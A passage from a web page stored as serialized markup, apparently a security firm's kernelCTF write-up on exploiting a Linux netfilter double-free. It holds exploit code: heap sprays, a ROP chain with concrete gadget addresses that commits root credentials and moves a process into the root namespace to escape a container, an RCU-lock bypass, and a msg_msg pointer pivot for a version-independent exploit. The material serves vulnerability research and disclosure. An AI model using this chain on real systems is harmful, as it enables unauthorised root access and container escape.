puts(\"",{"type":22,"tag":264,"props":57777,"children":57778},{"style":1539},[57779],{"type":27,"value":5045},{"type":22,"tag":264,"props":57781,"children":57782},{"style":4309},[57783],{"type":27,"value":5865},{"type":22,"tag":264,"props":57785,"children":57786},{"style":1539},[57787],{"type":27,"value":9956},{"type":22,"tag":264,"props":57789,"children":57790},{"style":4722},[57791],{"type":27,"value":57792},"Write",{"type":22,"tag":264,"props":57794,"children":57795},{"style":4722},[57796],{"type":27,"value":57797}," ROP",{"type":22,"tag":264,"props":57799,"children":57800},{"style":1597},[57801],{"type":27,"value":57612},{"type":22,"tag":264,"props":57803,"children":57804},{"class":1534,"line":5075},[57805],{"type":22,"tag":264,"props":57806,"children":57807},{"style":1597},[57808],{"type":27,"value":57809},"    deludata_spray(nl, 3, 1);\n",{"type":22,"tag":264,"props":57811,"children":57812},{"class":1534,"line":5105},[57813],{"type":22,"tag":264,"props":57814,"children":57815},{"style":1597},[57816],{"type":27,"value":57620},{"type":22,"tag":264,"props":57818,"children":57819},{"class":1534,"line":5113},[57820],{"type":22,"tag":264,"props":57821,"children":57822},{"style":1597},[57823],{"type":27,"value":57824},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":22,"tag":264,"props":57826,"children":57827},{"class":1534,"line":5145},[57828],{"type":22,"tag":264,"props":57829,"children":57830},{"emptyLinePlaceholder":17},[57831],{"type":27,"value":4986},{"type":22,"tag":264,"props":57833,"children":57834},{"class":1534,"line":5153},[57835],{"type":22,"tag":264,"props":57836,"children":57837},{"style":1597},[57838],{"type":27,"value":57839},"    // Takeover RIP\n",{"type":22,"tag":264,"props":57841,"children":57842},{"class":1534,"line":5213},[57843,57847,57851,57855,57859,57864,57869],{"type":22,"tag":264,"props":57844,"children":57845},{"style":1597},[57846],{"type":27,"value":57775},{"type":22,"tag":264,"props":57848,"children":57849},{"style":1539},[57850],{"type":27,"value":5045},{"type":22,"tag":264,"props":57852,"children":57853},{"style":4309},[57854],{"type":27,"value":5865},{"type":22,"tag":264,"props":57856,"children":57857},{"style":1539},[57858],{"type":27,"value":9956},{"type":22,"tag":264,"props":57860,"children":57861},{"style":4722},[57862],{"type":27,"value":57863},"Takeover",{"type":22,"tag":264,"props":57865,"children":57866},{"style":4722},[57867],{"type":27,"value":57868}," RIP",{"type":22,"tag":264,"props":57870,"children":57871},{"style":1597},[57872],{"type":27,"value":57612},{"type":22,"tag":264,"props":57874,"children":57875},{"class":1534,"line":10343},[57876,57881,57885,57890],{"type":22,"tag":264,"props":57877,"children":57878},{"style":1597},[57879],{"type":27,"value":57880},"    dump_obj(nl, \"",{"type":22,"tag":264,"props":57882,"children":57883},{"style":4293},[57884],{"type":27,"value":57602},{"type":22,"tag":264,"props":57886,"children":57887},{"style":1539},[57888],{"type":27,"value":57889},"-1",{"type":22,"tag":264,"props":57891,"children":57892},{"style":1597},[57893],{"type":27,"value":57612},{"type":22,"tag":264,"props":57895,"children":57896},{"class":1534,"line":10361},[57897],{"type":22,"tag":264,"props":57898,"children":57899},{"style":1597},[57900],{"type":27,"value":11616},{"type":22,"tag":181,"props":57902,"children":57904},{"id":57903},"bypass-context-switch-in-rcu-critical-section",[57905],{"type":27,"value":57906},"Bypass context switch in RCU critical-section",{"type":22,"tag":23,"props":57908,"children":57909},{},[57910,57911,57916],{"type":27,"value":17914},{"type":22,"tag":257,"props":57912,"children":57914},{"className":57913},[],[57915],{"type":27,"value":56435},{"type":27,"value":57917}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":22,"tag":23,"props":57919,"children":57920},{},[57921,57923,57930,57932,57938,57940,57946],{"type":27,"value":57922},"A workaround has been discussed before by D3v17 in a ",{"type":22,"tag":69,"props":57924,"children":57927},{"href":57925,"rel":57926},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[73],[57928],{"type":27,"value":57929},"previous kernelCTF submission",{"type":27,"value":57931}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":22,"tag":257,"props":57933,"children":57935},{"className":57934},[],[57936],{"type":27,"value":57937},"task_struct",{"type":27,"value":57939}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":22,"tag":257,"props":57941,"children":57943},{"className":57942},[],[57944],{"type":27,"value":57945},"__rcu_read_unlock()",{"type":27,"value":57947}," function and exit the RCU critical-section before switching contexts.",{"type":22,"tag":618,"props":57949,"children":57951},{"className":30424,"code":57950,"language":30426,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[57952],{"type":22,"tag":257,"props":57953,"children":57954},{"__ignoreMap":7},[57955,57963,57987,57994],{"type":22,"tag":264,"props":57956,"children":57957},{"class":1534,"line":1535},[57958],{"type":22,"tag":264,"props":57959,"children":57960},{"style":4284},[57961],{"type":27,"value":57962},"    // ROP stage 1\n",{"type":22,"tag":264,"props":57964,"children":57965},{"class":1534,"line":1545},[57966,57970,57975,57979,57983],{"type":22,"tag":264,"props":57967,"children":57968},{"style":4293},[57969],{"type":27,"value":20382},{"type":22,"tag":264,"props":57971,"children":57972},{"style":1539},[57973],{"type":27,"value":57974}," pos ",{"type":22,"tag":264,"props":57976,"children":57977},{"style":4309},[57978],{"type":27,"value":429},{"type":22,"tag":264,"props":57980,"children":57981},{"style":4344},[57982],{"type":27,"value":20404},{"type":22,"tag":264,"props":57984,"children":57985},{"style":1539},[57986],{"type":27,"value":4322},{"type":22,"tag":264,"props":57988,"children":57989},{"class":1534,"line":1560},[57990],{"type":22,"tag":264,"props":57991,"children":57992},{"emptyLinePlaceholder":17},[57993],{"type":27,"value":4986},{"type":22,"tag":264,"props":57995,"children":57996},{"class":1534,"line":1569},[57997,58001,58006,58010,58014,58018,58022,58026],{"type":22,"tag":264,"props":57998,"children":57999},{"style":1549},[58000],{"type":27,"value":57490},{"type":22,"tag":264,"props":58002,"children":58003},{"style":1539},[58004],{"type":27,"value":58005},"[pos",{"type":22,"tag":264,"props":58007,"children":58008},{"style":4309},[58009],{"type":27,"value":52590},{"type":22,"tag":264,"props":58011,"children":58012},{"style":1539},[58013],{"type":27,"value":9956},{"type":22,"tag":264,"props":58015,"children":58016},{"style":4309},[58017],{"type":27,"value":429},{"type":22,"tag":264,"props":58019,"children":58020},{"style":1539},[58021],{"type":27,"value":57511},{"type":22,"tag":264,"props":58023,"children":58024},{"style":4309},[58025],{"type":27,"value":673},{"type":22,"tag":264,"props":58027,"children":58028},{"style":1539},[58029],{"type":27,"value":58030}," __RCU_READ_UNLOCK;\n",{"type":22,"tag":181,"props":58032,"children":58034},{"id":58033},"rop",[58035],{"type":27,"value":57690},{"type":22,"tag":23,"props":58037,"children":58038},{},[58039],{"type":27,"value":58040},"Most of the ROP chain to escape the container as root is business as usual:",{"type":22,"tag":17988,"props":58042,"children":58043},{},[58044,58055,58066],{"type":22,"tag":1871,"props":58045,"children":58046},{},[58047,58053],{"type":22,"tag":257,"props":58048,"children":58050},{"className":58049},[],[58051],{"type":27,"value":58052},"commit_creds(&init_cred);",{"type":27,"value":58054}," Commit root credentials to our process",{"type":22,"tag":1871,"props":58056,"children":58057},{},[58058,58064],{"type":22,"tag":257,"props":58059,"children":58061},{"className":58060},[],[58062],{"type":27,"value":58063},"task = find_task_by_vpid(1);",{"type":27,"value":58065}," Find the root process of our namespace",{"type":22,"tag":1871,"props":58067,"children":58068},{},[58069,58075],{"type":22,"tag":257,"props":58070,"children":58072},{"className":58071},[],[58073],{"type":27,"value":58074},"switch_task_namespaces(task, &init_nsproxy);",{"type":27,"value":58076}," Move it to the root namespace",{"type":22,"tag":23,"props":58078,"children":58079},{},[58080,58082,58088,58090,58096,58098,58104,58106,58112,58114,58119,58121,58127],{"type":27,"value":58081},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":22,"tag":257,"props":58083,"children":58085},{"className":58084},[],[58086],{"type":27,"value":58087},"find_task_by_vpid(1)",{"type":27,"value":58089}," passed through ",{"type":22,"tag":257,"props":58091,"children":58093},{"className":58092},[],[58094],{"type":27,"value":58095},"rax",{"type":27,"value":58097}," to ",{"type":22,"tag":257,"props":58099,"children":58101},{"className":58100},[],[58102],{"type":27,"value":58103},"rdi",{"type":27,"value":58105},". What I ended up going with was a ",{"type":22,"tag":257,"props":58107,"children":58109},{"className":58108},[],[58110],{"type":27,"value":58111},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":27,"value":58113}," gadget, that allowed me to push the ",{"type":22,"tag":257,"props":58115,"children":58117},{"className":58116},[],[58118],{"type":27,"value":58095},{"type":27,"value":58120}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":22,"tag":257,"props":58122,"children":58124},{"className":58123},[],[58125],{"type":27,"value":58126},"pop rdi; ret",{"type":27,"value":58128}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":22,"tag":17988,"props":58130,"children":58131},{},[58132,58137,58150],{"type":22,"tag":1871,"props":58133,"children":58134},{},[58135],{"type":27,"value":58136},"We push the value onto the stack (stack pointer regresses)",{"type":22,"tag":1871,"props":58138,"children":58139},{},[58140,58142,58148],{"type":27,"value":58141},"We jump to our \"trampoline\" gadget (",{"type":22,"tag":257,"props":58143,"children":58145},{"className":58144},[],[58146],{"type":27,"value":58147},"pop rdi; ret;",{"type":27,"value":58149}," location)",{"type":22,"tag":1871,"props":58151,"children":58152},{},[58153,58158],{"type":22,"tag":257,"props":58154,"children":58156},{"className":58155},[],[58157],{"type":27,"value":58126},{"type":27,"value":58159}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":22,"tag":618,"props":58161,"children":58163},{"className":30424,"code":58162,"language":30426,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[58164],{"type":22,"tag":257,"props":58165,"children":58166},{"__ignoreMap":7},[58167,58174,58191,58236,58272,58308,58315,58323,58366,58397,58433,58478,58533,58578,58585,58593,58636,58672,58708],{"type":22,"tag":264,"props":58168,"children":58169},{"class":1534,"line":1535},[58170],{"type":22,"tag":264,"props":58171,"children":58172},{"style":1539},[58173],{"type":27,"value":11616},{"type":22,"tag":264,"props":58175,"children":58176},{"class":1534,"line":1545},[58177,58182,58187],{"type":22,"tag":264,"props":58178,"children":58179},{"style":1539},[58180],{"type":27,"value":58181},"    // commit_creds(&",{"type":22,"tag":264,"props":58183,"children":58184},{"style":1549},[58185],{"type":27,"value":58186},"init_cred",{"type":22,"tag":264,"props":58188,"children":58189},{"style":1539},[58190],{"type":27,"value":5142},{"type":22,"tag":264,"props":58192,"children":58193},{"class":1534,"line":1560},[58194,58198,58202,58206,58210,58214,58218,58222,58227,58231],{"type":22,"tag":264,"props":58195,"children":58196},{"style":1549},[58197],{"type":27,"value":57490},{"type":22,"tag":264,"props":58199,"children":58200},{"style":1539},[58201],{"type":27,"value":58005},{"type":22,"tag":264,"props":58203,"children":58204},{"style":4309},[58205],{"type":27,"value":52590},{"type":22,"tag":264,"props":58207,"children":58208},{"style":1539},[58209],{"type":27,"value":9956},{"type":22,"tag":264,"props":58211,"children":58212},{"style":4309},[58213],{"type":27,"value":429},{"type":22,"tag":264,"props":58215,"children":58216},{"style":1539},[58217],{"type":27,"value":57511},{"type":22,"tag":264,"props":58219,"children":58220},{"style":4309},[58221],{"type":27,"value":673},{"type":22,"tag":264,"props":58223,"children":58224},{"style":4344},[58225],{"type":27,"value":58226}," 0xffffffff8112c7c0",{"type":22,"tag":264,"props":58228,"children":58229},{"style":1539},[58230],{"type":27,"value":50394},{"type":22,"tag":264,"props":58232,"children":58233},{"style":4284},[58234],{"type":27,"value":58235}," // pop rdi; ret;\n",{"type":22,"tag":264,"props":58237,"children":58238},{"class":1534,"line":1569},[58239,58243,58247,58251,58255,58259,58263,58267],{"type":22,"tag":264,"props":58240,"children":58241},{"style":1549},[58242],{"type":27,"value":57490},{"type":22,"tag":264,"props":58244,"children":58245},{"style":1539},[58246],{"type":27,"value":58005},{"type":22,"tag":264,"props":58248,"children":58249},{"style":4309},[58250],{"type":27,"value":52590},{"type":22,"tag":264,"props":58252,"children":58253},{"style":1539},[58254],{"type":27,"value":9956},{"type":22,"tag":264,"props":58256,"children":58257},{"style":4309},[58258],{"type":27,"value":429},{"type":22,"tag":264,"props":58260,"children":58261},{"style":1539},[58262],{"type":27,"value":57511},{"type":22,"tag":264,"props":58264,"children":58265},{"style":4309},[58266],{"type":27,"value":673},{"type":22,"tag":264,"props":58268,"children":58269},{"style":1539},[58270],{"type":27,"value":58271}," INIT_CRED;\n",{"type":22,"tag":264,"props":58273,"children":58274},{"class":1534,"line":1583},[58275,58279,58283,58287,58291,58295,58299,58303],{"type":22,"tag":264,"props":58276,"children":58277},{"style":1549},[58278],{"type":27,"value":57490},{"type":22,"tag":264,"props":58280,"children":58281},{"style":1539},[58282],{"type":27,"value":58005},{"type":22,"tag":264,"props":58284,"children":58285},{"style":4309},[58286],{"type":27,"value":52590},{"type":22,"tag":264,"props":58288,"children":58289},{"style":1539},[58290],{"type":27,"value":9956},{"type":22,"tag":264,"props":58292,"children":58293},{"style":4309},[58294],{"type":27,"value":429},{"type":22,"tag":264,"props":58296,"children":58297},{"style":1539},[58298],{"type":27,"value":57511},{"type":22,"tag":264,"props":58300,"children":58301},{"style":4309},[58302],{"type":27,"value":673},{"type":22,"tag":264,"props":58304,"children":58305},{"style":1539},[58306],{"type":27,"value":58307}," COMMIT_CREDS;\n",{"type":22,"tag":264,"props":58309,"children":58310},{"class":1534,"line":1603},[58311],{"type":22,"tag":264,"props":58312,"children":58313},{"emptyLinePlaceholder":17},[58314],{"type":27,"value":4986},{"type":22,"tag":264,"props":58316,"children":58317},{"class":1534,"line":1612},[58318],{"type":22,"tag":264,"props":58319,"children":58320},{"style":4284},[58321],{"type":27,"value":58322},"    // task = find_task_by_vpid(1);\n",{"type":22,"tag":264,"props":58324,"children":58325},{"class":1534,"line":1621},[58326,58330,58334,58338,58342,58346,58350,58354,58358,58362],{"type":22,"tag":264,"props":58327,"children":58328},{"style":1549},[58329],{"type":27,"value":57490},{"type":22,"tag":264,"props":58331,"children":58332},{"style":1539},[58333],{"type":27,"value":58005},{"type":22,"tag":264,"props":58335,"children":58336},{"style":4309},[58337],{"type":27,"value":52590},{"type":22,"tag":264,"props":58339,"children":58340},{"style":1539},[58341],{"type":27,"value":9956},{"type":22,"tag":264,"props":58343,"children":58344},{"style":4309},[58345],{"type":27,"value":429},{"type":22,"tag":264,"props":58347,"children":58348},{"style":1539},[58349],{"type":27,"value":57511},{"type":22,"tag":264,"props":58351,"children":58352},{"style":4309},[58353],{"type":27,"value":673},{"type":22,"tag":264,"props":58355,"children":58356},{"style":4344},[58357],{"type":27,"value":58226},{"type":22,"tag":264,"props":58359,"children":58360},{"style":1539},[58361],{"type":27,"value":50394},{"type":22,"tag":264,"props":58363,"children":58364},{"style":4284},[58365],{"type":27,"value":58235},{"type":22,"tag":264,"props":58367,"children":58368},{"class":1534,"line":1629},[58369,58373,58377,58381,58385,58389,58393],{"type":22,"tag":264,"props":58370,"children":58371},{"style":1549},[58372],{"type":27,"value":57490},{"type":22,"tag":264,"props":58374,"children":58375},{"style":1539},[58376],{"type":27,"value":58005},{"type":22,"tag":264,"props":58378,"children":58379},{"style":4309},[58380],{"type":27,"value":52590},{"type":22,"tag":264,"props":58382,"children":58383},{"style":1539},[58384],{"type":27,"value":9956},{"type":22,"tag":264,"props":58386,"children":58387},{"style":4309},[58388],{"type":27,"value":429},{"type":22,"tag":264,"props":58390,"children":58391},{"style":4344},[58392],{"type":27,"value":5817},{"type":22,"tag":264,"props":58394,"children":58395},{"style":1539},[58396],{"type":27,"value":4322},{"type":22,"tag":264,"props":58398,"children":58399},{"class":1534,"line":1642},[58400,58404,58408,58412,58416,58420,58424,58428],{"type":22,"tag":264,"props":58401,"children":58402},{"style":1549},[58403],{"type":27,"value":57490},{"type":22,"tag":264,"props":58405,"children":58406},{"style":1539},[58407],{"type":27,"value":58005},{"type":22,"tag":264,"props":58409,"children":58410},{"style":4309},[58411],{"type":27,"value":52590},{"type":22,"tag":264,"props":58413,"children":58414},{"style":1539},[58415],{"type":27,"value":9956},{"type":22,"tag":264,"props":58417,"children":58418},{"style":4309},[58419],{"type":27,"value":429},{"type":22,"tag":264,"props":58421,"children":58422},{"style":1539},[58423],{"type":27,"value":57511},{"type":22,"tag":264,"props":58425,"children":58426},{"style":4309},[58427],{"type":27,"value":673},{"type":22,"tag":264,"props":58429,"children":58430},{"style":1539},[58431],{"type":27,"value":58432}," FIND_TASK_BY_VPID;\n",{"type":22,"tag":264,"props":58434,"children":58435},{"class":1534,"line":1660},[58436,58440,58444,58448,58452,58456,58460,58464,58469,58473],{"type":22,"tag":264,"props":58437,"children":58438},{"style":1549},[58439],{"type":27,"value":57490},{"type":22,"tag":264,"props":58441,"children":58442},{"style":1539},[58443],{"type":27,"value":58005},{"type":22,"tag":264,"props":58445,"children":58446},{"style":4309},[58447],{"type":27,"value":52590},{"type":22,"tag":264,"props":58449,"children":58450},{"style":1539},[58451],{"type":27,"value":9956},{"type":22,"tag":264,"props":58453,"children":58454},{"style":4309},[58455],{"type":27,"value":429},{"type":22,"tag":264,"props":58457,"children":58458},{"style":1539},[58459],{"type":27,"value":57511},{"type":22,"tag":264,"props":58461,"children":58462},{"style":4309},[58463],{"type":27,"value":673},{"type":22,"tag":264,"props":58465,"children":58466},{"style":4344},[58467],{"type":27,"value":58468}," 0xffffffff8102e2a6",{"type":22,"tag":264,"props":58470,"children":58471},{"style":1539},[58472],{"type":27,"value":50394},{"type":22,"tag":264,"props":58474,"children":58475},{"style":4284},[58476],{"type":27,"value":58477}," // pop rsi; ret;\n",{"type":22,"tag":264,"props":58479,"children":58480},{"class":1534,"line":1668},[58481,58485,58489,58493,58497,58501,58506,58510,58515,58519,58524,58528],{"type":22,"tag":264,"props":58482,"children":58483},{"style":1549},[58484],{"type":27,"value":57490},{"type":22,"tag":264,"props":58486,"children":58487},{"style":1539},[58488],{"type":27,"value":58005},{"type":22,"tag":264,"props":58490,"children":58491},{"style":4309},[58492],{"type":27,"value":52590},{"type":22,"tag":264,"props":58494,"children":58495},{"style":1539},[58496],{"type":27,"value":9956},{"type":22,"tag":264,"props":58498,"children":58499},{"style":4309},[58500],{"type":27,"value":429},{"type":22,"tag":264,"props":58502,"children":58503},{"style":1539},[58504],{"type":27,"value":58505}," obj_ptr ",{"type":22,"tag":264,"props":58507,"children":58508},{"style":4309},[58509],{"type":27,"value":673},{"type":22,"tag":264,"props":58511,"children":58512},{"style":4344},[58513],{"type":27,"value":58514}," 0xe0",{"type":22,"tag":264,"props":58516,"children":58517},{"style":4309},[58518],{"type":27,"value":52576},{"type":22,"tag":264,"props":58520,"children":58521},{"style":4344},[58522],{"type":27,"value":58523}," 0x66",{"type":22,"tag":264,"props":58525,"children":58526},{"style":1539},[58527],{"type":27,"value":50394},{"type":22,"tag":264,"props":58529,"children":58530},{"style":4284},[58531],{"type":27,"value":58532},"            // rax -> rdi and resume rop\n",{"type":22,"tag":264,"props":58534,"children":58535},{"class":1534,"line":1677},[58536,58540,58544,58548,58552,58556,58560,58564,58569,58573],{"type":22,"tag":264,"props":58537,"children":58538},{"style":1549},[58539],{"type":27,"value":57490},{"type":22,"tag":264,"props":58541,"children":58542},{"style":1539},[58543],{"type":27,"value":58005},{"type":22,"tag":264,"props":58545,"children":58546},{"style":4309},[58547],{"type":27,"value":52590},{"type":22,"tag":264,"props":58549,"children":58550},{"style":1539},[58551],{"type":27,"value":9956},{"type":22,"tag":264,"props":58553,"children":58554},{"style":4309},[58555],{"type":27,"value":429},{"type":22,"tag":264,"props":58557,"children":58558},{"style":1539},[58559],{"type":27,"value":57511},{"type":22,"tag":264,"props":58561,"children":58562},{"style":4309},[58563],{"type":27,"value":673},{"type":22,"tag":264,"props":58565,"children":58566},{"style":4344},[58567],{"type":27,"value":58568}," 0xffffffff81caed31",{"type":22,"tag":264,"props":58570,"children":58571},{"style":1539},[58572],{"type":27,"value":50394},{"type":22,"tag":264,"props":58574,"children":58575},{"style":4284},[58576],{"type":27,"value":58577}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":22,"tag":264,"props":58579,"children":58580},{"class":1534,"line":1686},[58581],{"type":22,"tag":264,"props":58582,"children":58583},{"emptyLinePlaceholder":17},[58584],{"type":27,"value":4986},{"type":22,"tag":264,"props":58586,"children":58587},{"class":1534,"line":4948},[58588],{"type":22,"tag":264,"props":58589,"children":58590},{"style":4284},[58591],{"type":27,"value":58592},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":22,"tag":264,"props":58594,"children":58595},{"class":1534,"line":4957},[58596,58600,58604,58608,58612,58616,58620,58624,58628,58632],{"type":22,"tag":264,"props":58597,"children":58598},{"style":1549},[58599],{"type":27,"value":57490},{"type":22,"tag":264,"props":58601,"children":58602},{"style":1539},[58603],{"type":27,"value":58005},{"type":22,"tag":264,"props":58605,"children":58606},{"style":4309},[58607],{"type":27,"value":52590},{"type":22,"tag":264,"props":58609,"children":58610},{"style":1539},[58611],{"type":27,"value":9956},{"type":22,"tag":264,"props":58613,"children":58614},{"style":4309},[58615],{"type":27,"value":429},{"type":22,"tag":264,"props":58617,"children":58618},{"style":1539},[58619],{"type":27,"value":57511},{"type":22,"tag":264,"props":58621,"children":58622},{"style":4309},[58623],{"type":27,"value":673},{"type":22,"tag":264,"props":58625,"children":58626},{"style":4344},[58627],{"type":27,"value":58468},{"type":22,"tag":264,"props":58629,"children":58630},{"style":1539},[58631],{"type":27,"value":50394},{"type":22,"tag":264,"props":58633,"children":58634},{"style":4284},[58635],{"type":27,"value":58477},{"type":22,"tag":264,"props":58637,"children":58638},{"class":1534,"line":4980},[58639,58643,58647,58651,58655,58659,58663,58667],{"type":22,"tag":264,"props":58640,"children":58641},{"style":1549},[58642],{"type":27,"value":57490},{"type":22,"tag":264,"props":58644,"children":58645},{"style":1539},[58646],{"type":27,"value":58005},{"type":22,"tag":264,"props":58648,"children":58649},{"style":4309},[58650],{"type":27,"value":52590},{"type":22,"tag":264,"props":58652,"children":58653},{"style":1539},[58654],{"type":27,"value":9956},{"type":22,"tag":264,"props":58656,"children":58657},{"style":4309},[58658],{"type":27,"value":429},{"type":22,"tag":264,"props":58660,"children":58661},{"style":1539},[58662],{"type":27,"value":57511},{"type":22,"tag":264,"props":58664,"children":58665},{"style":4309},[58666],{"type":27,"value":673},{"type":22,"tag":264,"props":58668,"children":58669},{"style":1539},[58670],{"type":27,"value":58671}," INIT_NSPROXY;\n",{"type":22,"tag":264,"props":58673,"children":58674},{"class":1534,"line":4989},[58675,58679,58683,58687,58691,58695,58699,58703],{"type":22,"tag":264,"props":58676,"children":58677},{"style":1549},[58678],{"type":27,"value":57490},{"type":22,"tag":264,"props":58680,"children":58681},{"style":1539},[58682],{"type":27,"value":58005},{"type":22,"tag":264,"props":58684,"children":58685},{"style":4309},[58686],{"type":27,"value":52590},{"type":22,"tag":264,"props":58688,"children":58689},{"style":1539},[58690],{"type":27,"value":9956},{"type":22,"tag":264,"props":58692,"children":58693},{"style":4309},[58694],{"type":27,"value":429},{"type":22,"tag":264,"props":58696,"children":58697},{"style":1539},[58698],{"type":27,"value":57511},{"type":22,"tag":264,"props":58700,"children":58701},{"style":4309},[58702],{"type":27,"value":673},{"type":22,"tag":264,"props":58704,"children":58705},{"style":1539},[58706],{"type":27,"value":58707}," SWITCH_TASK_NAMESPACES;\n",{"type":22,"tag":264,"props":58709,"children":58710},{"class":1534,"line":4998},[58711],{"type":22,"tag":264,"props":58712,"children":58713},{"style":1539},[58714],{"type":27,"value":11616},{"type":22,"tag":181,"props":58716,"children":58718},{"id":58717},"grabbing-the-kernelctf-flag",[58719],{"type":27,"value":58720},"Grabbing the kernelCTF flag",{"type":22,"tag":23,"props":58722,"children":58723},{},[58724,58728,58730,58737],{"type":22,"tag":215,"props":58725,"children":58727},{"alt":51899,"src":58726},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":27,"value":58729},"\nYou can find the kernelCTF exploit in our ",{"type":22,"tag":69,"props":58731,"children":58734},{"href":58732,"rel":58733},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[73],[58735],{"type":27,"value":58736},"GitHub",{"type":27,"value":210},{"type":22,"tag":169,"props":58739,"children":58741},{"id":58740},"universal-exploit",[58742],{"type":27,"value":58743},"Universal exploit",{"type":22,"tag":23,"props":58745,"children":58746},{},[58747],{"type":27,"value":58748},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":22,"tag":181,"props":58750,"children":58752},{"id":58751},"pivot-capability-using-msg_msg-mlistnext-pointer",[58753],{"type":27,"value":58754},"Pivot capability using msg_msg->mlist.next pointer",{"type":22,"tag":23,"props":58756,"children":58757},{},[58758,58760,58766,58768,58773,58775,58781],{"type":27,"value":58759},"Using the double-free vulnerability we can overlap a ",{"type":22,"tag":257,"props":58761,"children":58763},{"className":58762},[],[58764],{"type":27,"value":58765},"msg_msg",{"type":27,"value":58767}," object with with ",{"type":22,"tag":257,"props":58769,"children":58771},{"className":58770},[],[58772],{"type":27,"value":56420},{"type":27,"value":58774}," and control the ",{"type":22,"tag":257,"props":58776,"children":58778},{"className":58777},[],[58779],{"type":27,"value":58780},"m_list.next",{"type":27,"value":58782}," pointer.",{"type":22,"tag":618,"props":58784,"children":58786},{"className":30424,"code":58785,"language":30426,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[58787],{"type":22,"tag":257,"props":58788,"children":58789},{"__ignoreMap":7},[58790,58798,58814,58835,58848,58866,58891,58907,58915,58922,58929,58937,58969],{"type":22,"tag":264,"props":58791,"children":58792},{"class":1534,"line":1535},[58793],{"type":22,"tag":264,"props":58794,"children":58795},{"style":4284},[58796],{"type":27,"value":58797},"/* one msg_msg structure for each message */\n",{"type":22,"tag":264,"props":58799,"children":58800},{"class":1534,"line":1545},[58801,58805,58810],{"type":22,"tag":264,"props":58802,"children":58803},{"style":4293},[58804],{"type":27,"value":10699},{"type":22,"tag":264,"props":58806,"children":58807},{"style":4722},[58808],{"type":27,"value":58809}," msg_msg",{"type":22,"tag":264,"props":58811,"children":58812},{"style":1539},[58813],{"type":27,"value":4594},{"type":22,"tag":264,"props":58815,"children":58816},{"class":1534,"line":1560},[58817,58821,58826,58831],{"type":22,"tag":264,"props":58818,"children":58819},{"style":4293},[58820],{"type":27,"value":22458},{"type":22,"tag":264,"props":58822,"children":58823},{"style":4722},[58824],{"type":27,"value":58825}," list_head",{"type":22,"tag":264,"props":58827,"children":58828},{"style":1549},[58829],{"type":27,"value":58830}," m_list",{"type":22,"tag":264,"props":58832,"children":58833},{"style":1539},[58834],{"type":27,"value":4322},{"type":22,"tag":264,"props":58836,"children":58837},{"class":1534,"line":1569},[58838,58843],{"type":22,"tag":264,"props":58839,"children":58840},{"style":4293},[58841],{"type":27,"value":58842}," long",{"type":22,"tag":264,"props":58844,"children":58845},{"style":1539},[58846],{"type":27,"value":58847}," m_type;\n",{"type":22,"tag":264,"props":58849,"children":58850},{"class":1534,"line":1583},[58851,58856,58861],{"type":22,"tag":264,"props":58852,"children":58853},{"style":4293},[58854],{"type":27,"value":58855}," size_t",{"type":22,"tag":264,"props":58857,"children":58858},{"style":1539},[58859],{"type":27,"value":58860}," m_ts;",{"type":22,"tag":264,"props":58862,"children":58863},{"style":4284},[58864],{"type":27,"value":58865},"  /* message text size */\n",{"type":22,"tag":264,"props":58867,"children":58868},{"class":1534,"line":1603},[58869,58873,58878,58882,58887],{"type":22,"tag":264,"props":58870,"children":58871},{"style":4293},[58872],{"type":27,"value":22458},{"type":22,"tag":264,"props":58874,"children":58875},{"style":4722},[58876],{"type":27,"value":58877}," 